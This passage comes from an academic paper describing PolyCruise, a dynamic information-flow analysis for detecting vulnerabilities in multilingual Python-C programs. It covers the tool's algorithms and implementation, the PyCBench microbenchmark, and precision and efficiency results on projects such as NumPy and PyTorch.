4 p r i n t ( a r g ) | D[ 4 ] = { } ,U[ 4 ] = { a r g }
5 |
6 T Foo (N) |
7 V = C | D[ 7 ] ={V} ,U[ 7 ] ={C}
8 S = V | D[ 8 ] ={S } ,U[ 8 ] ={V}
9 V = N | D[ 9 ] ={V} ,U[ 9 ] ={N}

10 N | D[ 1 0 ] = { } ,U[ 1 0 ] = {N}
11 V = V,N | D[ 1 1 ] = {V} ,U[ 1 1 ] = {V,N}
12 N = N, C | D[ 1 2 ] = {N} ,U[ 1 2 ] = {N, C}
13 Outpu t ( S ) | D[ 1 3 ] = { } ,U[ 1 3 ] = { S}
14 r e t u r n S | D[ 1 4 ] = { } ,U[ 1 4 ] = { S}

Figure 5: Symbolic defs/uses for the example of Figure 3.

Dependence computation. Based on the definition, symbolic
dependencies in a language unit are computed as shown in
Figure 4. The SDA takes a set of criteria (information sources)
predefined for a language unit and the unit’s LISR. It then
symbolically executes the unit, both forward and backward,
to capture true/flow and anti dependencies, respectively. To
that end, it uses two memory regions: a stack including the
local symbol area (LSA) to keep track of local symbols, and
a global symbol area (GSA) to keep track of global symbols.

The main SDA algorithm is given in Algorithm 2 (as the
computeSD routine). It takes the set of entry functions of
target programs and the predefined criteria as inputs—an
entry function is either the main function of an executable or
a library interface exposed externally. Furthermore, the set
of criteria is defined and customized by POLYCRUISE users.
The algorithm starts with all entry functions being pushed into
a FIFO queue QF (line 2); then, it (symbolically) executes
these functions one by one with its symbolic dependence
summary (SDS) through a subroutine computeSDoF.

A function’s SDS is a bitmap that indicates whether its re-
turn value or parameters are reachable from the given criteria
through def-use-association (DUA) computation at a specific
callsite of the function. For the example of Figure 3, if we
define an 8-bit SDS, the SDS of the Out put function at Line
13 will be computed as 01000000. The first bit 0 indicates that
the return value is not reachable; the second bit 1 indicates
the first parameter is reachable. The remaining bits are zero
because this function has only one parameter.

For each entry function F, the SDA stack is (re)initialized
(line 6)—GSA is shared for all functions; then, its current SDS
(SDSF) is retrieved via getSDS (line 7)—which can be initial-

Algorithm 2: Compute symbolic dependencies
Input: EF :set of entry functions, C: predefined criteria (e.g., DIFA sources)
Output: Ss:symbolic dependence set of C

1 Function computeSD (EF , C)
2 QF ← initQueue (EF )); // QF is a FIFO queue of functions

3 Gsym ← /0; // Gsym is the set of global symbols in the GSA

4 while QF 6= /0 do
5 F← QF .pop();
6 Stack← /0; // (re)initialize the SDA stack for the current function F
7 SDSF ← getSDS (F); // SDSF is the symbolic dependence (SD) summary of F
8 computeSDoF (F, SDSF, C, Stack, Gsym); // compute SDs per function

9 if (gSym = getReachable (Gsym)) 6= /0 then
10 Re f = getRefer (gSym); // get entry functions that use global symbols

11 QF .push(Re f );
12 Ss ← obtainStmt (); // get the statements symbolically dependent on C
13 return Ss

Algorithm 3: SDA for each function
Input: F:an entry function, SDSF:the (current) SDS of F, Stack:the stack

(see Figure 4), Gsym:the set of global symbols, C:predefined criteria
Output: SDSF:the (updated) SDS of F

1 Function computeSDoF (F, SDSF, C, Stack, Gsym)
2 Lsym ← initLocalSymb (SDSF); // initialize the local symbol area

3 while True do
4 computeMain (F, Lsym, SDSF, C, Stack, Gsym); // forward execution

5 StmtNumF ← getReachableStmt ();
6 Fr = reverseFunc (F);
7 computeMain (Fr , Lsym, SDSF, C, Stack, Gsym); // backward execution

8 StmtNumr ← getReachableStmt ();
9 if StmtNumF == StmtNumr then

10 break; // having reached the fixed point

11 updateSDS (F, SDSF);

ized as -1 (by default) or a customized value given in the crite-
ria. Once a global symbol in F is found (via getReachable)
reachable from a criterion and inserted into GSA after one pass
of symbolic execution of F, all entry functions that reference
the global symbol are pushed into QF again for recomputation
to ensure consistency (line 11). When QF becomes empty,
SDA obtains the set of all statements computed as symboli-
cally dependent on the criteria as the algorithm’s output.

The algorithm for computing the symbolic dependencies
for each function is given in Algorithm 3. SDA first initializes
the local symbol area (LSA) for the current function in terms
of its SDS that indicates which formal parameters should
be pushed into the LSA (line 2). After that SDA repeats the
procedure of forward (line 4) and backward (line 7) compu-
tation until the number of the reachable statements remains
unchanged, which means the algorithm reaches a fixed point
and all possible statements have been collected. As a reminder,
the backward computation shares the same procedure with
the forward but takes the reverse order of statements.

The details of computeMain are given in Algorithm 4,
where SDA symbolically executes the input function. As ini-
tialization, SDA pushes the function into the stack if it is not
there yet. This step helps avoid recursive invocations, which
would be redundant here as the function’s SDS will remain
unchanged when the inputs are fixed. Then, SDA processes
each statement differently per its type as follows:
Line. If the statement’s Use is in the criteria set, LSA, or GSA,
SDA pushes the associated De f into the LSA or GSA so that
the symbolic dependence propagates along the execution flow.
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Algorithm 4: The Main logic of SDA
Input: Lsym:the set of local symbols for F; others are same as Algorithm 3
Output: SDSF:the (updated) SDS of F

1 Function computeMain (F, Lsym, SDSF, C, Stack, Gsym)
2 if F ∈ Stack then
3 return SDSF;
4 Stack.push(F);
5 foreach Si in F do
6 D[Si],U [Si]← getDefUse (Si);
7 if getType (Si) == Line then
8 if isCriteria (C, Si) or (U [Si] ∈ {Lsym ∪Gsym}) then
9 if isGlobalSym (D[Si]) then

10 Gsym.push(D[Si])
11 else
12 Lsym.push(D[Si])

13 else if getType (Si) == Call then
14 Callee, Sdsc ← initCallee (Si); // initial SDS: actual->formal args

15 if Callee != NULL then
16 Sdsc ← computeSDoF (Callee, Sdsc, C, Stack, Gsym);
17 else
18 Sdsc ← -1;
19 updateSym (Lsym, Sdsc, Si); // update F’s Lsym with the callee’s SDS

20 else if getType (Si) == Return then
21 if Si ∈ {Lsym ∪Gsym} then
22 setRetBit (SDSF); // return to the callsite

23 if isReachable (Si) == true then
24 Ss.push(Si); // save the statements for instrumentation—will just probe there

25 Stack.pop(F);
26 SDSF ← SDSF | summarize (Lsym,F); // update F’s SDS with its local symbols

Call. SDA handles Call statements to compute interprocedu-
ral dependencies. Before executing a callee, SDA first obtains
the callee’s definition and constructs the invocation context
for it; the context contains the callsite and an initial SDS of
the callee computed with the actual parameters. The initial
SDS indicates which symbols of the parameters would flow
into the callee, and SDA utilizes this information to initialize
callee’s LSA. If SDA fails to get the definition of the callee
(e.g., a library function) and its initial SDS is non-zero, SDA
conservatively sets the callee’s SDS as -1, which means the
return value and all parameters of the function are reachable
from criteria. Otherwise, SDA invokes computeSDoF for the
callee. After the execution of the callee, SDA updates LSA of
the current function with the callee’s SDS, which indicates
the symbols flowing from the callee back to the function.
Return. SDA checks the Use at a Return statement. The pres-
ence of Use in the LSA or GSA indicates that the return value
of the current function is reachable from the criteria, hence
SDA sets the return-bit of SDS to 1 in this case (line 22).

When executing a statement, SDA inserts it into a set if it
is reachable (from the input criteria C). When SDA finishes
executing all statements of a function, it updates the function’s
SDS with its LSA before returning; this conservative treatment
is necessary because the function may have output parameters.

3.2.3 SDA-Guided Static Instrumentation (Step 1.3)
In the last step of Phase 1, POLYCRUISE performs static in-
strumentation of each compiled-language unit to insert probes
for harvesting the run-time data underlying its DIFA. More
specifically, the static instrumenter takes the set of statements
that are computed by the SDA as symbolically dependent on
any given source in the unit. Then, it probes for the run-time
data only at those statements. As these data are collected at
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Figure 6: Definition of execution events monitored at runtime.

runtime, we elaborate them as part of Phase 2. Without loss
of generality, if the given program P does not include any
compiled-language unit, this step is skipped.

3.3 Online Dynamic Analysis (Phase 2)
POLYCRUISE performs its dynamic analysis while the (stati-
cally instrumented, if necessary) program P′ executes. Thus,
this phase does not exit until P′ exits. This online design is
justified by the need for handling long/continuously-running
programs (e.g., those working as services). For those pro-
grams, an offline analysis may not even be feasible [9, 11]. In
particular, Phase 2 works in three steps as elaborated below.

3.3.1 SDA-Guided Dynamic Instrumentation (Step 2.1)
For units written in interpreted languages, especially those
having rich dynamic constructs, static instrumentation cannot
fully probe for harvesting necessary run-time data. In fact, the
code of such units may not even be completely visible to a
static analysis (§2). POLYCRUISE addresses this challenge by
dynamically instrumenting these units. As in Step 1.3, only
the statements symbolically dependent on the given sources
are probed. Both instrumentation steps also consistently probe
for the same kind of run-time data, as detailed as follows.

The run-time data to harvest are language-independent
execution events that encode key (dynamic) information flow
facts. Figure 6 gives the definition of these events. Each event
starts with a 64-bit identifier followed by the event content.
In particular, the event type within the identifier is used to
guide the information flow computation (IFC, i.e., Step 2.2) to
decode the event content. The other fields are not used in the
IFC itself but enable mapping each event to the corresponding
statement in the original program. This mapping is necessary
for later producing information flow paths at source-code
level that help understand vulnerability details.

In accordance with the three types of LISR statements
(§3.2.1), three types of execution events (i.e., line, call, and
return) are probed for: [x =]e∗ | [x =] f (e∗) | return e. An
expression e can be a symbol x indicating a data type (e.g.,
integer), a constant C indicating the address of a reference/-
pointer variable, or the ε. The event content stores the asso-
ciated (LISR) statement itself. Importantly, for a variable of
a non-primitive type, its address, rather than the symbol (lit-
eral), should be probed for. This address is used by the IFC to
compute aliases hence information flow accurately.
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3.3.2 Information Flow Computation (IFC) (Step 2.2)
In this step, POLYCRUISE computes run-time information
flow on the fly, by incrementally constructing a dynamic infor-
mation flow graph (DIFG) from the execution events buffered
in the shadow event queue (Figure 2). Given that real-world
systems typically run in multiple threads, our design accounts
for flow facts induced by multi-threading.
Definition. Suppose the P′ execution consists of a set of
threads Φ = {ϕ1, ...,ϕn}, which may share code and/or data
(via global/shared variables). The DIFG for the execution is a
directed graph GΦ = 〈Gϕ

∗,s∗, t∗〉, ϕ ∈Φ, consisting of a set
of thread graph Gϕ each starting from an entry s and an exit
t. A thread graph Gϕ consists of a set of function graph G f
connected via interprocedural (call or return) edges, where
each G f consists of a set of nodes mapped one-to-one to the
underlying event sequence~e.~ek denotes the k-th event in~e.

Each DIFG node represents one of the execution events.
Each edge, of one of four types below, represents a flow fact.

• Interthread control flow edge. An edge of this type connects
two nodes that represent two events ~ei ∈ ϕm and ~e j ∈ ϕn,
where ~ei is a call event for thread creation,~e j is the first
event in ϕn, and ϕm is the predecessor (creator) of ϕn.

• Intra-thread control flow edge. This includes intra- and in-
terprocedural (function graph) control flow edges. Given
two events~ei and~e j in the same thread,~ei→~e j is an intra-
procedural control flow edge if~ei and~e j happend in order
in the same function. If~ei is a call event and~e j indicates
the entry of the corresponding callee,~ei →~e j is an inter-
procedural (call) edge. If~ei is a return event and~e j is the
call event corresponding to the callsite associated with that
return,~ei→~e j is an interprocedural (return) edge.

• Interthread data flow edge. Given two events~ei ∈ ϕi and
~e j ∈ ϕ j that happened sequentially in time,~ei →~e j is an
interthread data dependence edge if U(e j) ⊆ D(ei) while
U(e j) includes a shared or global variable use and D(ei) in-
cludes the latest def of the variable. U(~ek) and D(~ek) denotes
the use and def set of the statement where~ek happened.

• Intra-thread data flow edge. This includes intra- and in-
terprocedural (function graph) data flow edges. Given two
events~ei and~e j that happened in the same thread while sat-
isfying U(e j)⊆ D(ei),~ei→~e j is an intra-procedural data
flow edge if ~ei and ~e j happened sequentially in the same
function. If ~ei is a call event and ~e j happened within the
corresponding callee,~ei →~e j is an interprocedural (call)
edge. If~ei is a return event and~e j is the call event corre-
sponding to the callsite associated with that return,~ei→ e j
is an interprocedural (return) edge.

DIFG construction. Algorithm 5 outlines the major steps for
constructing the DIFG incrementally—updating it once per
event. Upon receiving an event~ek, the algorithm first decodes
the event content, gets/updates the enclosing thread graph Gϕ

(i.e., for the thread in which ~ek occurred), and retrieves the
enclosing function graph (Lines 2–4). It then allocates a new

Algorithm 5: Construct DIFG incrementally
Input:~ek : an execution event ∈~e, ϕ: the no. of thread containing~ek
Output: GΦ: the updated DIFG

1 Function constructDIFG (~ek , ϕ)
2 event ← decodeEvent (~ek);
3 Gϕ ← getOrAddGraph (event, ϕ);
4 G f ← getFuncDIFG (Gϕ, event);
5 CurNode← newNode (Gϕ, event);
6 PreNode← getPreNode (Gϕ);
7 if G f == NULL then
8 G f ← addFuncDIFG (Gϕ, event);
9 if PreNode == NULL then

10 createItcfgEdge (GΦ, Gϕ) // compute interthread control flow

11 else
12 TailNode f ← getTail (G f );
13 createCfgEdge (TailNode f , CurNode);// add intra-procedural control flow

14 while TailNode f != NULL do
15 if U(CurNode)⊆ D(TailNode) then
16 createDDEdge (TailNode f , CurNode);
17 break; // done computing intra-procedural data flow

18 TailNode f ← TailNode f ->previous
19 if IsCallEvent(~event) then
20 Gcallee ← getFuncDIFG (Gϕ, event);
21 createCfgEdge (G f , Gcallee); // compute interprocedural control flow

22 createDDEdge (G f , Gcallee); // compute interprocedural data flow

23 computeGlobalDD (GΦ, CurNode);// data flow due to global/shared variables

1 T g
2 set (v) {g = v}
3 T1 () { set (1)}
4 T2 () { put (g)}
5 Entry () {
6      Thread (T1)
7      Thread (T2)
8      Join ()
9  }

Entry

Thread(T1)

Thread(T2)

T1

set (1)

join

End

set

g = v

Call

Return

T2

put(g)

T1 starts before T2

Figure 7: An example DIFG (right) for a program (left).

node CurNode for this event and gets its predecessor in Gϕ

(Lines 5–6). If G f for~ek does not exist, meaning~ek is the first
event of the current function, a new G f would be created; this
also indicate ~ek is the first event of the current thread, thus
an interthread control flow edge would be created also (Lines
7–10). If G f already exists, the intra-procedural control and
data flow edges would be first added if any (Lines 12–17);
if moreover E is a call event, the DIFG of the callee Gcallee
would be obtained, and interprocedural control and data flow
edges would be added (Lines 19–22). In the end, if U(~ek)
contains references to shared or global variables, global data
dependence would be computed and added (Line 23).

Figure 7 shows the DIFG (right column) of an example
program (left column). The example code contains a global
variable g, a main thread, and two sub-threads where we as-
sume thread T 1 starts before T 2. The DIFG includes three
sub-graphs corresponding to the three threads. The green
(arrowed) lines represent the interthread control flow edges,
while the red one is the interthread data flow edge because
T 2 reads g after the write/def of g in T 1. The blue edge in-
dicates an interprocedural data flow edge between the main
procedure of T 1 and the function set. The remaining black
lines represent control flow edges in individual threads.

2520    31st USENIX Security Symposium USENIX Association



3.3.3 Vulnerability Detection (plugins) (Step 2.3)
The dynamic information flow computed in Step 2.2 can sup-
port the general source-sink problem. To show the practical
usefulness of our technique, we focus on vulnerability detec-
tion based on the DIFA in POLYCRUISE. According to the
various sources and sinks relevant to various information flow
security vulnerabilities, different detector plugin works by
computing the information flow paths between those sources
and sinks through a traversal (i.e., a reachability analysis) on
the (most recently updated) DIFG. As the DIFG is incremen-
tally constructed/updated, vulnerabilities are also reported as
(security) bugs (Figure 2) in an incremental manner.

4 Implementations and Limitations

We have implemented POLYCRUISE for Python-C programs
and seven plugins each detecting one type of information flow
vulnerabilities. More details are in Appendix A.
LISR translations. To support Python-C programs, we im-
plemented the LISR translator for C on top of LLVM [30],
and that for Python by reusing the code normalization module
of PyPredictor [72] but with significant enhancement. Specif-
ically, the translator for C walks through the LLVM interme-
diate representation (IR) produced by the compiler frontend
(Clang) while translating the IR code to LISR, following
the syntax described in §3.2.1. In the LISR translator for
Python, we reused the code normalization module of PyPre-
dictor, which translates Python sources into their static single
assignment (SSA) form under Python 2.7 and generates a cor-
responding abstract syntax tree (AST). We upgraded the tool
to support higher versions of Python (3.6+) and translated the
source with SSA form into LISR on top of AST. For Python
code that uses object-oriented programming, we translated
each class member M in the form of class.M.
Symbolic dependence analysis. We implemented SDA as
a simplified symbolic execution engine with C++ since no
branches exist in the LISR of the two language units except
for function invocations. SDA aims to compute all possible
statements reachable from the criteria in each language unit.
Hence, to ensure full analysis of data flow across different
language units without compromising the overall scalability
of POLYCRUISE, we did a two-level SDS implementation for
entry functions in different language units.

At the first level, we adopt a conservative computation
that assumes all parameters of entry functions are reachable
from the criteria. Specifically, for each language unit, SDA
computes invocation relationship among functions; then SDA
considers the functions invoked by no other functions as entry
functions and initializes their SDSs as -1. Such an implemen-
tation would result in redundant instrumentation but cover all
possible data flow paths across languages. The POLYCRUISE
users can define the second level SDS; they can customize
the SDS for each language interface through configuration.
Only the data flow paths that users are interested in will be

covered. Guided by these SDSs and user-defined criteria, the
results of SDA can cover all possible statements.

Instrumentation. With the SDA results, we implemented an
LLVM pass [30] to instrument the C sources statically, partly
reusing our whole-program C analysis tool PCA [37]. The
execution event is constructed following the format defined in
Figure 6. For Python components, we utilized a Python built-
in tracing API (sys.settrace) for dynamic instrumentation
based on the SDA results. Combining the AST generated
earlier and dynamic stack information, we obtain details of
statements during runtime and construct the events following
the syntax. For simplicity, we implemented the tracing module
as a C library such that the two kinds of language units can
integrate directly.

Run-time monitoring. The run-time monitors, for both in-
memory tracing and event buffering, are implemented as a
C library that can be linked to foreign components of main-
stream languages (e.g., Python, Java, Ruby). Accordingly, the
probes for run-time events are instrumented as simple func-
tion calls, a common approach to instrumentation in dynamic
analysis [12, 19]. The shadow event queue is implemented as
a bidirectional circulation queue initialized in shared memory.

Online dynamic analysis. To support multi-threaded execu-
tions, we tagged each execution event with the corresponding
thread id. Also, the shadow event queue is implemented in
a thread- and process-safe manner to avoid undesirable in-
terference with the original execution of real-world systems.
To minimize the run-time overhead of the online analysis,
we implemented a high-performance memory database using
hash algorithms and scalable memory pools.

To enable evaluation and practical security applications of
POLYCRUISE, we have implemented seven plugins for de-
tecting seven types of vulnerabilities as defined in the CWE
catalog [48] (i.e., sensitive data leak, control flow integrity,
partial comparison, buffer overflow, integer overflow, and di-
vide by zero). We also curated a set of sources/sinks for each
plugin according to respective SDKs and libraries of Python
and C. Our implementation allows users to flexibly customize
the source/sink lists and plugin usage options (through the
user configuration X, as shown in Figure 2).

Supporting other languages. Real-world multilingual sys-
tems may use a great variety of combinations of different
languages. Developing an analysis specific to each combina-
tion (e.g., Java-C) is not a scalable or desirable solution. Our
design facilitates adding support for other languages (and ac-
cording new combinations) into the current implementation.

Specifically, to support another language L , only two parts
need to be added: (1) a LISR translator for L and (2) an in-
strumenter that probes an L program for the kinds of run-time
data needed (as described in §3.3.1) according to results of
the (language-agnostic) SDA on the program’s LISR. Imple-
menting both parts can be eased by a basic analysis utility
for L that supports syntactic parsing and instrumentation. As
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discussed earlier, if L is an interpreted/dynamic language,
part (2) may need to be done at runtime.

Other VR support roles. As a cross-language DIFA,
POLYCRUISE can work in other roles for vulnerability re-
sponse (VR). For example, it may be enhanced by a test-input
generator (e.g., fuzzer), which would produce additional, di-
verse run-time inputs to help POLYCRUISE potentially dis-
cover more vulnerabilities, as a result of increased coverage
of the executions it analyzes.

On the other hand, POLYCRUISE can be leveraged to en-
hance a test-input generator (e.g., a greybox fuzzer) to gen-
erate test cases more effectively. For instance, POLYCRUISE
can compute accurate data flow information between the
source/sink pairs that are relevant to a taint-guided fuzzer.
Then, the fuzzer may utilize the flow information to tune its
evolution direction, informing seed scheduling and where to
mutate and how. In particular, one may use POLYCRUISE to
capture the dependency between seed inputs (sources) and
branch variables or dangerous functions (sinks); the seeds on
which more such sinks are dependent would be prioritized
during seed selection and/or assigned with greater power.

Limitations. To deal with practical challenges with the online
DIFA due to the complex and diverse interoperations (e.g.,
data encapsulation and conversion) between languages, the
current implementation is field-insensitive. As a result, the
DIFA results are not always precise and, accordingly, the
vulnerabilities detected can be false positives.

In addition, while we managed to support most if not all
language features of Python 3.x and validated so for Python
3.7, there might still be other features that are not well sup-
ported at this point. The evolution of such features may cause
undesirable behaviors of POLYCRUISE. Also, explicit support
for multi-process executions [10, 20] is not implemented yet.

Like a typical DIFA, POLYCRUISE only computes informa-
tion flow exercised in the particular program executions con-
sidered. Thus, its ability to discover vulnerabilities is limited
to those that are covered in the analyzed executions. This abil-
ity is additionally subject to the coverage of the sources and
sinks considered and covered in the executions. Thus, from a
general vulnerability detection’s perspective, POLYCRUISE
also suffers false negatives.

The current design of LISR focuses on capturing data de-
pendence information (def/use). As a result, POLYCRUISE
only computes explicit information flow hence would miss
vulnerabilities solely induced by implicit information flow.

5 PyCBench: A Multilingual Microbench

Evaluating the precision and recall of a multilingual code anal-
ysis (e.g., DIFA) needs a multilingual benchmark suite that
comes with ground truth for the analysis. Yet such a bench-
mark suite is not available, while curating the ground truth
for large/complex, real-world programs may not be feasible.

Table 1: Distribution of PyCBench by analysis features: gen-
eral flow (GenF), global flow (GF), field sensitivity (FieldSen),
ObjectSensitivity (ObjSen), dynamic invocation (DynInv).

Vulnerability Type GenF GF FieldSen ObjSen DynInv Total
Sensitive data leak 7 5 4 2 2 20
Code injection 1 1 0 0 0 2
Buffer overflow 1 2 2 1 1 7
Division by zero 1 0 0 1 0 2
Integer overflow 1 0 2 5 1 9
Incomplete comparison 3 1 0 0 0 4
Control-flow integrity 1 0 0 1 0 2
Total 15 9 8 10 4 46

We thus took the first step to manually create PyCBench,
a microbench for multilingual program analysis, including
but not limited to DIFA. As shown in Table 1, PyCBench
consists of 46 benchmarks, covering seven common types
of vulnerabilities (shown in the first column). We created
the benchmarks for each vulnerability type by summarizing
the patterns of those vulnerabilities in reference to the cor-
responding CWE descriptions [48]. These benchmarks were
also selected purposely to cover five analysis features (listed
in the first row) that we believe a multilingual code (static or
dynamic) analyzer should consider handling.

Currently, PyCBench only includes Python-C programs
and one test for each. We will maintain and augment it by in-
cluding more benchmarks and test cases while covering other
language combinations. The current version of PyCBench is
included in our open-source package for POLYCRUISE.

6 Evaluation

Using our POLYCRUISE implementation (§4), the evaluation
of our approach was guided by four questions below:

RQ1 How effective is POLYCRUISE in terms of its precision?
RQ2 How efficient is POLYCRUISE in terms of its costs?
RQ3 Can POLYCRUISE find real-world vulnerabilities?
RQ4 How does POLYCRUISE compare to peer tools?

6.1 Experiment Setup
In addition to PyCBench (Table 1), we also evaluated
POLYCRUISE against 12 real-world multilingual systems
written in Python and C as primary languages and the original
test cases. Table 2 summarizes these systems as our sub-
jects (1st column), including the total code size (2nd column),
percentage of code written in each language (3rd and 4th
columns), and the number of tests used (last column).

All of these 12 systems were downloaded from GitHub. For
better benchmark representativeness, we developed a crawler
to select multilingual projects that (1) has 1,000+ stars, which
indicates popularity—a criterion used in prior work [62], (2)
is developed mainly in Python and C (or C++), with each
language’s unit size accounting for 30%+ of the total project
size, (3) is frequently updated and maintained, (4) has a rich
set of test cases, indicating potentially good code quality, and
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Table 2: Real-world multilingual systems used as our subjects
Benchmark Size (KLOC) C/C++% Python% #Tests
Bounter [6] 3.5 48.2% 50.9% 190
Immutables [24] 5.9 55.0% 44.3% 152
Simplejson [26] 6.4 37.6% 59.8% 31
Japronto [53] 9.4 50.4% 48.2% 15
Pygit2 [40] 17.0 57.4% 44.6% 241
Psycopg2 [54] 27.5 50.8% 48.2% 198
Cvxopt [14] 56.0 60.8% 39.0% 78
Pygame [55] 207.0 54.3% 44.7% 324
PyTables [57] 219.8 52.1% 46.6% 6,355
Pyo [2] 259.1 50.8% 48.8% 51
NumPy [49] 919.7 36.1% 63.7% 16,002
PyTorch [61] 6,419.2 56.2% 35.2% 4,146

(5) comes with detailed documentation for quick installation,
use, and testing. More details on each benchmark can be
found via the link (1st column Table 2) to its repository.

For a reasonable run-time coverage of each subject, we
focused on integration tests provided with it. To run these
tests under POLYCRUISE, we customized the Pytest [58] and
Unittest [60] frameworks such that we can automate the test
execution while performing the analyses in POLYCRUISE.
We also developed a tool to automatically extract sources
and sinks used as the default source/sink configuration. These
additional utilities help increase the usability of POLYCRUISE
and its capabilities for vulnerability discovery with respect to
the run-time inputs available (i.e., without augmenting them).

6.2 Experimental Methodology
We evaluated the effectiveness of POLYCRUISE on both Py-
CBench and the five least complex real-world benchmarks
against all their test cases. For each benchmark and test, we
traced the kinds of run-time data described earlier at every pro-
gram statement. Then, by inspecting the trace while referring
to the benchmark source code, we identified all possible paths
between each of the predefined source/sink pairs. Using these
paths as ground truth, we computed the precision and recall
of POLYCRUISE for that benchmark and test. This precision
is purely based on source-sink reachability. We further com-
puted precision under security context by only considering
exploitable paths as true positives.

For each case in both the manual precision/recall evalua-
tions, three of the authors each obtained results independently,
followed by a confirmation process based on cross-validation.
We confirmed a result only when all the three agreed on it.

We assessed the efficiency and scalability of POLYCRUISE
for its static and dynamic analysis part separately. In particular,
for Phase 1, we measured the time and peak memory cost of
the SDA, which overwhelmingly dominated the total cost of
this phase—the costs of the other two steps are comparatively
negligible, as both technically anticipated and empirically
validated. Thus, for this phase, we only report SDA costs. For
Phase 2, we compared the run-time slowdown on the same
two cost measures (i.e., time and peak memory) among three
versions of each benchmark against ten randomly selected

tests: the original (pure-version), the instrumented with SDA
guidance (SDA-version), and the entirely (every-statement)
instrumented (CMPL-version). This procedure allowed for
an in-depth evaluation of the efficiency impact of the SDA
(Step 1.2), by comparing run-time slowdown among the three
versions per benchmark.

We are not aware of a DIFA working with Python-C pro-
grams. Thus, for peer comparison, we used the closest, state-
of-the-art baselines we can find: PyPredictor [72], a Python
analyzer, and libdft [27], a C/C++ dynamic taint analyzer.
Neither is originally comparable, thus we did extra develop-
ment/setup as detailed below. We did try to compare with
several other tools that claimed to support cross-language
analysis. Unfortunately, few of them are publicly available
online (e.g., Truffle [29]) and actually usable.
PyPredictor. This is an analyzer of Python programs combin-
ing dynamic tracing and static symbolic execution to predict
potential bugs (e.g., AttributeError, TypeError). It runs the
given program against its given tests to collect modules in-
volved in the execution. Then, it normalizes the code of these
modules into their SSA form and executes the normalized
program again to collect run-time traces. With these traces
as inputs, it conducts predictive analysis based on symbolic
execution to explore bugs on all possible execution paths.

To enable comparison with it, we developed and set up
a modified version of PyPredictor that is compatible with
Python 3.7. Moreover, we improved its normalizing module
to support some standard Python features (e.g., GeneratorExp,
BoolOp, Call) and a few others (e.g., AnnAssign, AsyncFunc-
tionDef, Try [59]). We then developed a plug-in based on
POLYCRUISE to detect TypeError bugs for Python programs.
libdft. This is designed for dynamic data flow tracking based
on the Intel PIN framework [25]. It dynamically instruments
the target binary and tracks the taint flow for every executed
instruction with a set of predefined taint propagation rules
(i.e., external API calls). This design brings huge run-time
overhead that hurts its scalability in real-world applications.

To enable comparison, we built a dynamic taint analyzer
on libdft based on PIN 3.7. We added APIs for arithmetic
instructions (e.g., ADD, SUB, DIV) to detect integer-overflow
and divide-by-zero vulnerabilities. For CALL instructions,
we added rules to check the taint tags and sinks, targeting
vulnerabilities such as buffer overflow and data leakage.

We ran all of our experiments on an Ubuntu 18.04 worksta-
tion with an Intel i7-10875H CPU and 16GB RAM.

6.3 RQ1: Effectiveness of POLYCRUISE

Results on PyCBench. As Table 3 shows, POLYCRUISE re-
ported all the true-positive paths. It additionally reported three
false positives, including two in the field sensitivity group and
one in the object sensitivity group. This was anticipated as our
current implementation drops field-insensitivity for better lan-
guage independence (§4), and the dynamic instrumenter (for
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Table 3: Effectiveness results of POLYCRUISE on PyCBench,
including #inter-language paths (INT-LP), #Intra-language
paths (ITR-LP), #false negatives (FN), #false positives (FP)

Group #INT-LP #ITR-LP #FN #FP
General flow 10 4 0 0
Global flow 9 0 0 0
Field sensitivity 8 0 0 2
Object sensitivity 9 2 0 1
Dynamic invocation 4 0 0 0
Total 40 6 0 3

Table 4: Effectiveness results of POLYCRUISE on real-
world projects. Pg: #ground-truth paths, Pp: #paths found
by POLYCRUISE, TP: true positive, TPsc: true positive in se-
curity context, FN: false negative, RC: recall, PI: precision,
PIsc: precision under security context.

Benchmark Pg Pp #TP #TPsc #FN RC PI PIsc
Bounter 3 3 3 2 0 100% 100% 66.7%
Immutables 2 2 2 1 0 100% 100% 50%
Japronto 1 1 1 1 0 100% 100% 100%
Cvxopt 5 7 5 4 0 100% 71.4% 57.5%
Pyo 4 4 4 2 0 100% 100% 50%
Summary 15 17 15 10 0 100% 88.2% 58.8%

Python) is presently object-insensitive. These false positives
could be eliminated by tuning the implementation.

As a result, POLYCRUISE achieved 93.5% precision and
100% recall on PyCBench. Although the micro-benchmarks
can not represent all real-world application scenarios, com-
mon program analysis features have been considered in the
design of PyCBench to help assess the analysis soundness
and accuracy. Thus, these numbers are still encouraging for
the merits of POLYCRUISE for cross-language analysis.
Results on real-world benchmarks. Table 4 shows the ef-
fectiveness results of POLYCRUISE on the five real-world
projects. For the total of 486 tests, we obtained 15 paths as
ground truth by manual validation. Among the 17 paths gener-
ated by POLYCRUISE, 15 were validated to be true positives,
leading to a precision of 88.2% and a recall of 100% overall.
The two false positives in Cvxopt were caused by the field-
insensitivity of our current POLYCRUISE implementation as
illustrated in Figure 12. Moreover, we validated that 10 of
the potential vulnerabilities induced by the 15 paths were
exploitable, leading to a security-context precision of 58.8%.

POLYCRUISE achieved 93.5% and 88.2% precision on our
microbench and real-world systems, respectively, with a per-
fect recall for both, hence promising effectiveness.

6.4 RQ2: Efficiency of POLYCRUISE

Since the PyCBench programs are small and their executions
(against the tests we curated) are simple, we gauged the effi-
ciency of POLYCRUISE just on the 12 real-world benchmarks.
As seen from Table 2, these benchmarks include very-large

Table 5: Efficiency of SDA in terms of time cost (SDA-T),
peak memory (SDA-M), and instrumentation rate (Instm%).

Benchmark SDA-T (seconds) SDA-M (MB) Instm%
Bounter 0.02 2.97 52%
Immutables 0.04 4.68 50%
Simplejson 0.03 4.47 56%
Japronto 0.02 3.89 47%
Pygit2 0.13 14.54 43%
Psycopg2 0.14 15.32 57%
Cvxopt 1.21 35.52 52%
Pygame 2.27 85.32 44%
PyTables 2.45 101.11 51%
Pyo 20.21 258.73 62%
NumPy 10.99 557.95 48%
PyTorch 175.19 7,414.95 51%

scale systems like PyTorch and NumPy. The basis of our
efficiency study is 8.1 million lines of code.

A key metric of efficiency in our study is the run-time
slowdown incurred by the dynamic analysis in POLYCRUISE.
Due to the complexity of multilingual system executions, we
used a calibrated method to compute this metric, as detailed
in Appendix B. Next, we present our results on this and other
efficiency metrics (as laid out in §6.2).

Efficiency of SDA. Table 5 shows the efficiency results of the
SDA step which dominates the total costs of Phase 1. Overall,
although its time and memory cost increased with greater
subject size, the SDA finished in three minutes at most, for
our largest subject system PyTorch (of 6 million lines of code).
For most of the other (smaller) subjects, the SDA finished in
just a few seconds or milliseconds.

For systems of 220KLOC or smaller, the SDA only took
<100MB memory at peak, which is almost negligible on mod-
ern computing platforms. For larger systems, the peak mem-
ory was 260MB or more. The highest memory cost was seen
